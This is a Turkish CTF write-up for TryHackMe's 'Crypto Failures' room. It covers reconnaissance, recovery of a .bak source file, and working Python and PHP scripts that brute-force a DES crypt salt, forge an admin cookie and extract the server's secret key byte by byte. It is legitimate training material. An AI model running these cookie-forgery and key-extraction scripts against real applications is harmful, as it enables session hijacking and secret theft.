Esenlikler,
Bugün Tryhackme üzerinde bulunan Crypto Failures Challengesine ait çözüm raporumu sizlere sunacağım. Şimdiden ilginiz için teşekkür ederim.
Görevler
- What is the value of the web flag?
- What is the encryption key?
Information Gathering
İlk başta hedef challengede bize verilen bilginin önemi biraz fazla çünkü direkt olarak hedef gösterir nitelikte
"First exploit the encryption scheme in the simplest possible way, then find the encryption key."
En basit yolla encryption schemesını exploit et ne demek bilmiyorum ama sonra da encryption key'i bulacağız. Bakalım bazı şeyler nasip kısmet
İlk başta klasiktir bir nmap taraması ile başlayacağım tabii
sudo nmap -sS -sV -sC 10.10.106.238 -p 1-1000 -o cf_nmap.txt
Hedef sistem hem bir web arayüzü hem de SSH servisi sağlıyor. Bu tür durumlarda genellikle önce web uygulamasını ele alıyoruz; ardından SSH servisinin güvenliğini değerlendiriyorum. Zaten diğer ipuçlarının çoğu hâlihazırda web üzerinde yakalanıyor.
Web hizmetine baktığımda ise gördüğüm bulguları şu şekilde ifade edebilirim
- Hedef sistemde riskli bir yorum satırıyla karşılaştım: “TODO remember to remove .bak files.” Bu satır, sistemde
.bakuzantılı yedek dosyaların bulunduğunu ve olası bilgi sızıntısı riski oluşturabileceğini gösteriyor.

- Web hizmetine bağlanır bağlanmaz
secure_cookieveuseradında iki cookie atandığını fark ettim; daha derin inceleme için Burp Suite ile trafiği analiz etmeye karar verdim.

Cookieler
İlk erişimde cookie’im olmadığını fark eden hedef sistem, beni yönlendirerek (HTTP 302)secure_cookie ve user isimli iki cookie atıyor; ardından ana sayfaya yönlendiriliyorum.


Sistem cookie’yi okuyup beni guest olarak oturum açmış saydı. Merakımdan user cookie’sini admin ile değiştirdim; beklediğim gibi admin yetkisi elde edemedim, aksine sunucu “you are not logged in” yanıtını verdi. Normalde eğer admin olabilseydim bu sonuç şaşırtıcı olurdu, ama denemiş oldum.

Bak dosyası
Hedef sistemde .bak uzantılı bir dosya olduğundan eminim; bu dosyanın doğru erişim yolunu bulmak için gobuster ile brute-force taraması yapacağım.
gobuster dir -u http://10.10.106.238 -w /usr/share/wordlists/dirb/common.txt -x bak -t 100Düşündüğüm gibi de oluyor.

index.php.bak dosyasını indirdiğimde gördüğüm doğrudan ana sayfanın tüm kaynak kodlarıydı.

Buradan, asıl yapmam gerekenin şifreleme algoritmasını ve mantığını çözmek olduğunu anladım; bu yüzden kaynak kodlarını incelemeye başladım.
Kaynak Kod Analizi
Kaynak kodu analiz ettiğim aşamaları anlatmam gerekirse:
- Hedef sistem, çerezlerden
secure_cookieveuserçerezlerinin tanımlı olup olmadığını kontrol ediyor. Eğer tanımlıysaverify_cookiefonksiyonunaENC_SECRET_KEYgönderip doğrulama yapıyor.

verify_cookiefonksiyonu,secure_cookieveuserdeğerlerini alıyor. Fonksiyon önce$user,$HTTP_USER_AGENTve$ENC_SECRET_KEYdeğerlerini birleştirerek birstringoluşturuyor:string = $user + $HTTP_USER_AGENT + $ENC_SECRET_KEY. Ardındansecure_cookiedeğerinin ilk iki karakterinden birsaltüretiyor vemake_secure_cookie(string, salt)çağrısı ile elde edilen değericrypted_cookieile karşılaştırıyor — eşleşiyorsa doğrulama başarılı sayılıyor.

verify_cookiefonksiyonunun sonucu true dönerse sistem doğrudanuserçerezine bakıyor; değer admin ise (muhtemel) yetkili içerik/işlevlerle karşılaşıyorum. Sonuç false dönerse — büyük olasılıklauserilesecure_cookiedeğerlerinin uyumsuzluğundan — "you are not logged in" yanıtı geliyor.

make_secure_cookiefonksiyonunu incelediğimde, gönderdiğimizstringdeğerini 8 karakterlik parçalara böldüğünü ve bu parçalarıcryptstringfonksiyonu aracılığıyla şifreleyipsecure_cookiedeğerine yazdığını gördüm. Bu kısım, ileride anlatacağım aşamada kritik bir rol oynayacak.

- Son olarak, eğer
uservesecure_cookiedeğerleri tanımlı değilse — yani kullanıcı sisteme ilk kez giriş yapıyorsa —generate_cookiefonksiyonu devreye giriyor ve bu çerezleri oluşturup kullanıcıya atıyor.generate_cookiefonksiyonu da aynı mantıkla çalışıyor:user,HTTP_USER_AGENTveENC_SECRET_KEYdeğerlerini birleştirerek birsecure_cookie_stringoluşturuyor. Ardından bu string’i, daha önce bahsettiğimmake_secure_cookiefonksiyonu aracılığıyla şifreleyipsecure_cookiedeğeri olarak atıyor. SALT üretimi için ise tamamen rastgele,0–9,a–zveA–Zkarakterlerin 2 karakter uzunluğunda bir salt değeri oluşturuluyor.

Tersine
İlk hedefim salt değerini bulmaktı; nasıl yapacağımı belirlemem gerekiyordu. Bildiğim kadarıyla user, User-Agent ve ENC_SECRET_KEY değerleri birleştirilip 8 karakterlik parçalara ayrılıyor. Eğer her parça ayrı ayrı şifreleniyorsa, tüm olası salt değerlerini teker teker deneyip üretilen secure_cookie değerinin başlangıcının elimdeki değerle eşleştiğini gördüğüm salt’ın doğru olduğunu varsayabilirim.
Yani bir görselle anlatmam gerekirse:

Yani kısaca bu işlemi yapacak bir kod yazmam gerekiyordu.
import urllib.parse, sys, time
from passlib.hash import des_crypt
import string
RAW_COOKIE = "WMMLpgR5RUT%2FwWM7Qe0Gu.MFvsWMPBQXmbetgHwWMVgOeFoPcW3YWMqYI22VQw8DcWMuEE69slr4o6WMTw.mwcIg.1oWMlgdeUpss%2FNgWMuClKc9SNvYIWMV0vq.BvNrpEWMI6Ld0NEBqTcWMAMWIQGD6j3YWMN2sD9f6S.rcWMn9jMApiuZNIWMbadbpnec%2F%2FoWMWFlIn3NXwMYWMGBMINdMM02EWMoPUmvAnujv.WMhKabXTWi9IwWMNUD%2FxTSLpA2WMraQyyaHFa5cWMUydaDd6VMkEWMhbJofuDiOXgWMUeyodFxohQkWMJl03cDsdvxUWMqnrjWLlu0K6WM3sLQKuPvvTUWM9HzWhbflSrgWMO1R%2Fi6MIYFk"
DECODED = urllib.parse.unquote(RAW_COOKIE)
USER = "guest"
USER_AGENT = "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
prefix = f"{USER}:{USER_AGENT}:"
chunks = [ prefix[i:i+8] for i in range(0, len(prefix), 8) ]
charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
start = time.time()
candidates = []
for a in charset:
for b in charset:
salt = a+b
count = 0
pos = 0
ok = True
for c in chunks:
h = des_crypt.using(salt=salt).hash(c)
idx = DECODED.find(h, pos)
if idx == -1:
ok = False
break
count += 1
pos = idx + len(h)
if count > 0:
candidates.append((salt, count))
candidates.sort(key=lambda x: x[1], reverse=True)
print("Top salt candidates (salt,count):")
for s,c in candidates[:20]:
print(s,c)
print("Done in", time.time()-start, "s")Bu kod, tüm olası salt kombinasyonlarını teker teker deneyerek doğru salt değerini buluyor.

Burada salt değerinin 79 olduğunu görüyoruz.
User Manipülasyonu
Salt değerini tespit ettikten sonra user manipülasyonu yapmayı planlıyorum. Çünkü secure_cookie oluşturulurken string 8 karakterlik parçalara ayrılıyor; bu durumda ilk parça şu an guest:Mo olarak gözüküyor. Yapmak istediğim, aynı make_secure_cookie/cryptstring fonksiyonlarını ve bulduğum salt’ı kullanarak ilk parçayı admin:Mo ile yeniden şifrelemek; ardından Burp Suite üzerinden isteği yeniden oynatarak sistemin nasıl tepki verdiğini test edeceğim.

Gerekli değerleri değiştirdim ve isteği Burp ile yeniden oynattım; aşağıda göreceğiniz çıktı, bu ilk görevi başarıyla tamamladığım.

ENC_SECRET_KEY
Betiğin amacı secure_cookie değerini tersine çevirmek. Temel varsayımım şu: uygulama user + User-Agent + ENC_SECRET_KEY birleşimini 8 karakterlik bloklara ayırıyor, her bloğu iki karakterlik salt (substr($secure_cookie,0,2)) ile crypt() benzeri bir işlemden geçirip sonuçları sırayla secure_cookie içine yazıyor. Bu yüzden işleyişim şu: her istekte sunucudan dönen secure_cookie’yi (önce URL-decode ederek) alıyorum, başından salt’ı çıkarıyorum; aday 8-karakter blokları crypt(block, salt) ile yerel olarak hesaplayıp elde ettiğim hash’in secure_cookie içinde geçip geçmediğini kontrol ediyorum. Eşleşme bulunca kaydırmalı pencere mantığıyla bir karakter ilerliyor, test_stringi güncelliyor ve bir sonraki karakteri brute-force ediyorum. Bu blokları birleştirdiğimde secure_cookie’yi geri üretebiliyorum;
<?php
// Hedef URL
$targetUrl = 'http://10.10.106.238/index.php';
$charset = array_merge(
range('a', 'z'),
range('A', 'Z'),
range('0', '9'),
str_split("!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~")
);
// Başlangıç User-Agent (uzun bir A dizisi ile başlıyorum)
$userAgent = str_repeat('A', 256);
// Bilinen prefix (örnek: "guest:<User-Agent>:")
// testString 8 karakterlik kayan pencerenin başlangıcı
$knownPrefix = 'guest:' . $userAgent . ':';
$testString = substr($knownPrefix, -8);
// Güvenlik/operasyonel limitler
$maxIterations = 5000; // sonsuz döngüyü önlemek için üst sınır
$iteration = 0;
ini_set('default_socket_timeout', 5); // kısa timeout (istekler için)
// Helper: hedeften secure_cookie almak
function get_secure_cookie(string $ua, string $url): ?string {
// Güvenli header oluşturma (User-Agent'ta CR/LF enjeksiyonuna izin verme)
$ua = str_replace(["\r", "\n"], '', $ua);
$context = stream_context_create([
'http' => [
'method' => 'GET',
'header' =>
"Host: 10.10.106.238\r\n" .
"User-Agent: {$ua}\r\n" .
"Accept-Language: en-US,en;q=0.5\r\n" .
"Accept-Encoding: gzip, deflate, br\r\n" .
"Connection: close\r\n" .
"Upgrade-Insecure-Requests: 1\r\n"
]
]);
$response = @file_get_contents($url, false, $context);
if ($response === false) {
return null;
}
global $http_response_header;
if (!isset($http_response_header) || !is_array($http_response_header)) {
return null;
}
foreach ($http_response_header as $header) {
if (stripos($header, 'Set-Cookie: secure_cookie=') !== false) {
if (preg_match('/secure_cookie=([^;]+)/', $header, $m) && isset($m[1])) {
$decoded = urldecode($m[1]);
// Eğer hala %xx kalıntısı varsa hata veriyoruz (beklenmeyen durum)
if (preg_match('/%[0-9A-Fa-f]{2}/', $decoded)) {
// Bu durumda uygun decode adımlarını eklemeliyiz; şimdilik çık
fwrite(STDERR, "❌ secure_cookie içinde URL-encoded parçalar var: {$decoded}\n");
return null;
}
return $decoded;
}
}
}
return null;
}
// Brute-force döngüsü
$foundText = '';
while (true) {
$iteration++;
if ($iteration > $maxIterations) {
fwrite(STDERR, "❌ Maksimum iterasyon sayısına ulaşıldı. Çıkılıyor.\n");
exit(1);
}
echo "\n[·] Current known part: {$foundText}\n";
// Sunucudan güncel secure_cookie al
$secureCookie = get_secure_cookie($userAgent, $targetUrl);
// User-Agent'i kaydır (orijinal mantığa sadık)
$userAgent = substr($userAgent, 1);
if (!$secureCookie) {
fwrite(STDERR, "❌ secure_cookie alınamadı. İstek başarısız veya header yok.\n");
exit(1);
}
echo "✅ Retrieved secure_cookie: {$secureCookie}\n";
// Salt: secure_cookie'nin ilk iki karakteri (DES-stil salt)
$salt = substr($secureCookie, 0, 2);
echo "[·] Using salt: '{$salt}'\n";
$foundChar = null;
// Bruteforce: charset üzerindeki her karakteri dene
foreach ($charset as $char) {
// Kayan pencere: önceki 7 karakter + yeni karakter
$testStringTemp = substr($testString, 1) . $char;
// Görüntüleme / debug
echo " - testing: {$testStringTemp}\n";
// crypt ile aynı salt kullanılarak hash üret
$hashedTest = crypt($testStringTemp, $salt);
// Eğer üretilen hash secure_cookie içinde geçiyorsa, karakter bulundu
if (strpos($secureCookie, $hashedTest) !== false) {
echo "✅ Found character: {$char}\n";
$foundText .= $char;
$testString = $testStringTemp; // pencereyi kaydır
echo "[·] New test_string: {$testString}\n";
echo "[·] hashed fragment: {$hashedTest}\n";
$foundChar = $char;
break;
}
}Bu noktada ise başarılı bir şekilde 2. görevi de başarıyla yerine getiriyoruz ve bu sızma testini burada tamamlamış oluyorum.

Teşekkürler
Yazımı buraya kadar okuduysanız gerçekten teşekkür ederim. Bir sonraki yazımda görüşmek üzere, kendinize iyi bakın. Esenlikler!

